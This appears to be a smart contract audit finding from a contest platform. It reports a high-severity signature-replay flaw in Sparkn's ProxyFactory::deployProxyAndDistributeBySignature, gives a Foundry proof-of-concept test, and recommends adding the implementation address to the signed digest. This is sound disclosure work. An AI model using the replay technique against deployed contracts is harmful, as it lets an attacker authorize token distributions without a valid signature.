Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Signature can be reused in the ProxyFactory::deployProxyAndDistributeBySignature with the same organizer and contestId but different implementation

Summary

Signed message doesn't contain implementation so the organizer's signature can be used with any implementation. If the contract has two contests with the same organizer and contestId (it is unlikely but possible with the current implementation) the signature for one contest can be reused to authorize distribution for the second contest.

Vulnerability Details

The test below illustrates how the signature can be reused for the different contest if two contests have the same organizer and contestId.

function testShouldRevertIfSignatureIsRightButImplementationIsDifferent()
public
setUpContestForJasonAndSentJpycv2Token(TEST_SIGNER)
{
// NOTE: create contest with the same contestId and organizer but different implementation address
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
address anotherDistributor = address(42);
vm.startPrank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 8 days, anotherDistributor);
vm.stopPrank();
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
vm.warp(8.01 days);
// it succeeds
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
assertNotEq(address(distributor), anotherDistributor);
vm.expectRevert(ProxyFactory.ProxyFactory__InvalidSignature.selector);
// NOTE: we use the same signature for the different contest with the same organizer and contestId
// This call should revert but it doesn't
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, anotherDistributor, signature, sendingData
);
}

Impact

Anyone can replay distribution for the contest with the same organizer and contestId but different implementation.

Tools Used

Manual Review

Recommendations

Include implementation in the digest computation.

bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data, implementation)));

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.